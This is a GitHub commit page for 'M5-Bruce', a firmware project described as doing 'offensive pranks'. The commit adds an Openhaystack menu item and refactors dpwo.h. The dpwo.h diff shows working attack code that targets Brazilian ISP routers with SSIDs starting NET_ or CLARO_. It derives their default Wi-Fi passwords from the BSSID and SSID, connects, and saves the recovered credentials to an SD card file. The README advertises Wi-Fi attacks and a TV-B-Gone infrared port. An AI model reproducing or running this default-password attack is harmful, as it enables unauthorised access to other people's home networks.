Skip to content
This repository has been archived by the owner on Jun 1, 2024. It is now read-only.

Commit

Permalink
added openhaystack and improves
Browse files Browse the repository at this point in the history
  • Loading branch information
pr3y committed Apr 9, 2024
1 parent 2ca5dad commit 1fb581b
Show file tree
Hide file tree
Showing 9 changed files with 245 additions and 106 deletions.
8 changes: 4 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
# M5-Bruce
Firmware for offensive pranks to Cardputer

![Bruce](https://github.com/pr3y/m5-bruce/blob/main/pic4.png) ~thx Luidiblu for the image
![Bruce](https://github.com/pr3y/m5-bruce/blob/main/media/pic4.png) ~thx Luidiblu for the image

## Name and Background
Forked project, same intentions B)
Expand All @@ -10,11 +10,11 @@ NEMO is named after the small, clever and stubborn fish in Finding Nemo. This pr

Hello, my name is Bruce.

![M5Cardputer](https://github.com/pr3y/m5-bruce/blob/main/pic1.png)
![M5Cardputer](https://github.com/pr3y/m5-bruce/blob/main/media/pic1.png)

![M5Cardputer Main Screen](https://github.com/pr3y/m5-bruce/blob/main/pic2.png)
![M5Cardputer Main Screen](https://github.com/pr3y/m5-bruce/blob/main/media/pic2.png)

![M5Cardputer Wifi Attacks](https://github.com/pr3y/m5-bruce/blob/main/pic3.png)
![M5Cardputer Wifi Attacks](https://github.com/pr3y/m5-bruce/blob/main/media/pic3.png)

## Features
* [TV B-Gone](http://www.righto.com/2010/11/improved-arduino-tv-b-gone.html) port (thanks to MrArm's [HAKRWATCH](https://github.com/MrARM/hakrwatch)) to shut off many infrared-controlled TVs, projectors and other devices
Expand Down
15 changes: 12 additions & 3 deletions bruce.ino
Original file line number Diff line number Diff line change
Expand Up @@ -210,6 +210,7 @@ uint16_t FGCOLOR=0x0006; // placeholder
// 32 - Wireguard Tunnel
// 33 - Select Keyboard Menu
// 34 - Bluetooth Keyboard
// 35 - Openhaystack
// .. - ..
// 97 - Mount/UnMount SD Card on M5Stick devices, if SDCARD is declared

Expand Down Expand Up @@ -286,6 +287,7 @@ bool clone_flg = false;
#include "clients.h"
#include "usb.h"
#include "wg.h"
#include "openhaystack.h"
#include "arp.h"
#include <BLEUtils.h>
#include <BLEServer.h>
Expand Down Expand Up @@ -448,6 +450,7 @@ MENU mmenu[] = {
{ "BadUSB", 27},
{ "Keyboard", 33},
{ "Microphone", 25},
{ "Openhaystack", 35},
{ "Settings", 2},
};
int mmenu_size = sizeof(mmenu) / sizeof(MENU);
Expand Down Expand Up @@ -578,7 +581,6 @@ void dmenu_loop() {
/// KEYBOARD MENU ///
MENU kbsmenu[] = {
{ "USB", 29},
{ "BLE", 34},
};
int kbsmenu_size = sizeof(kbsmenu) / sizeof(MENU);

Expand Down Expand Up @@ -3029,8 +3031,12 @@ void loop() {
kbsmenu_setup();
break;
case 34:
ble_setup();
//ble_setup();
break;
case 35:
openhaystack_setup();
break;


}
}
Expand Down Expand Up @@ -3161,8 +3167,11 @@ void loop() {
kbsmenu_loop();
break;
case 34:
ble_loop();
// ble_loop();
break;
case 35:
openhaystack_loop();
break;
#endif // SDCARD M5Stick
}
}
85 changes: 41 additions & 44 deletions dpwo.h
Original file line number Diff line number Diff line change
Expand Up @@ -11,34 +11,34 @@

#define SD_CREDS_PATH "/dpwoCreds.txt"

int apScanned = 0;
int ap_scanned = 0;

void parseBSSID(char* bssidWithoutColon, const char* bssid) {
void parse_BSSID(char* bssid_without_colon, const char* bssid) {
int j = 0;
for (int i = 0; i < strlen(bssid); ++i) {
if (bssid[i] != ':') {
bssidWithoutColon[j++] = bssid[i];
bssid_without_colon[j++] = bssid[i];
}
}
bssidWithoutColon[j] = '\0';
bssid_without_colon[j] = '\0';
}

void netAp(int i) {
char bssidWithoutColon[18];
parseBSSID(bssidWithoutColon, WiFi.BSSIDstr(i).c_str());
void net_ap(int i) {
char bssid_without_colon[18];
parse_BSSID(bssid_without_colon, WiFi.BSSIDstr(i).c_str());
Serial.println("MAC addr");
Serial.println(bssidWithoutColon);
Serial.println(bssid_without_colon);

char *bssidReady = bssidWithoutColon + 4;
bssidReady[strlen(bssidReady)-2] = '\0';
int ssidLength = WiFi.SSID(i).length();
if (ssidLength >= 2) {
String lastTwo = WiFi.SSID(i).substring(ssidLength - 2);
strcat(bssidReady, lastTwo.c_str());
char *bssid_ready = bssid_without_colon + 4;
bssid_ready[strlen(bssid_ready)-2] = '\0';
int ssid_length = WiFi.SSID(i).length();
if (ssid_length >= 2) {
String last_two = WiFi.SSID(i).substring(ssid_length - 2);
strcat(bssid_ready, last_two.c_str());
} else {
Serial.println("ERROR");
}
WiFi.begin(WiFi.SSID(i).c_str(), bssidReady);
WiFi.begin(WiFi.SSID(i).c_str(), bssid_ready);
// TODO: Dont depend on delays and compare the wifi status other way :P
delay(2000);
while (WiFi.status() != WL_CONNECTED) {
Expand All @@ -49,24 +49,24 @@ void netAp(int i) {
Serial.println("\nWiFi Connected");
WiFi.disconnect();
#if defined(SDCARD)
appendToFile(SD, SD_CREDS_PATH, String(WiFi.SSID(i) + ":" + bssidReady).c_str());
appendToFile(SD, SD_CREDS_PATH, String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
Serial.println("\nWrote creds to SD");
#endif
DISP.setTextSize(TINY_TEXT);
DISP.setTextColor(GREEN, BGCOLOR);
DISP.println(String(WiFi.SSID(i) + ":" + bssidReady).c_str());
DISP.println(String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
}

void claroAp(int i) {
char bssidWithoutColon[18];
parseBSSID(bssidWithoutColon, WiFi.BSSIDstr(i).c_str());
void claro_ap(int i) {
char bssid_without_colon[18];
parse_BSSID(bssid_without_colon, WiFi.BSSIDstr(i).c_str());
Serial.println("MAC addr");
Serial.println(bssidWithoutColon);
Serial.println(bssid_without_colon);

char *bssidReady = bssidWithoutColon + 4;
bssidReady[strlen(bssidReady)-2] = '\0';
int ssidLength = WiFi.SSID(i).length();
WiFi.begin(WiFi.SSID(i).c_str(), bssidReady);
char *bssid_ready = bssid_without_colon + 4;
bssid_ready[strlen(bssid_ready)-2] = '\0';
int ssid_length = WiFi.SSID(i).length();
WiFi.begin(WiFi.SSID(i).c_str(), bssid_ready);
delay(2000);
while (WiFi.status() != WL_CONNECTED) {
Serial.println("\nNOPE");
Expand All @@ -76,44 +76,43 @@ void claroAp(int i) {
Serial.println("\nWiFi Connected");
WiFi.disconnect();
#if defined(SDCARD)
appendToFile(SD, SD_CREDS_PATH, String(WiFi.SSID(i) + ":" + bssidReady).c_str());
Serial.println("\nWrote creds to SD");
appendToFile(SD, SD_CREDS_PATH, String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
Serial.println("\nWrote creds to SD");
#endif
DISP.setTextSize(TINY_TEXT);
DISP.setTextColor(GREEN, BGCOLOR);
DISP.println(String(WiFi.SSID(i) + ":" + bssidReady).c_str());
DISP.println(String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
}


void dpwoSetup() {
void dpwo_setup() {
Serial.println("Scanning for DPWO...");
WiFi.mode(WIFI_STA);
apScanned = WiFi.scanNetworks();
Serial.println(apScanned);

ap_scanned = WiFi.scanNetworks();
Serial.println(ap_scanned);

DISP.setTextColor(FGCOLOR, BGCOLOR);

}

void dpwoLoop(){
if (apScanned == 0) {
void dpwo_loop(){
if (ap_scanned == 0) {
DISP.println("no networks found");
} else {

//TODO: Add different functions to match Copel and Vivo regex on SSID also
std::regex netRegex("NET_.*");
std::regex claroRegex("CLARO_.*");
std::regex net_regex("NET_.*");
std::regex claro_regex("CLARO_.*");


//TODO: dont repeat the wifi connection process inside each function, instead work on this loop

for (int i = 0; i < apScanned; ++i) {
if (std::regex_search(WiFi.SSID(i).c_str(), netRegex)) {
netAp(i);
for (int i = 0; i < ap_scanned; ++i) {
if (std::regex_search(WiFi.SSID(i).c_str(), net_regex)) {
net_ap(i);
Serial.println("NET SSID");
} else if (std::regex_search(WiFi.SSID(i).c_str(), claroRegex)) {
claroAp(i);
} else if (std::regex_search(WiFi.SSID(i).c_str(), claro_regex)) {
claro_ap(i);
Serial.println(WiFi.SSID(i));
Serial.println("CLARO SSID");

Expand All @@ -129,12 +128,10 @@ void dpwoLoop(){

}
Serial.println("scanning again");
apScanned = WiFi.scanNetworks();
ap_scanned = WiFi.scanNetworks();

//TODO: append vulnerable APs and dont repeat the output
DISP.println("======");

}



File renamed without changes
File renamed without changes
File renamed without changes
File renamed without changes
Loading

0 comments on commit 1fb581b

Please sign in to comment.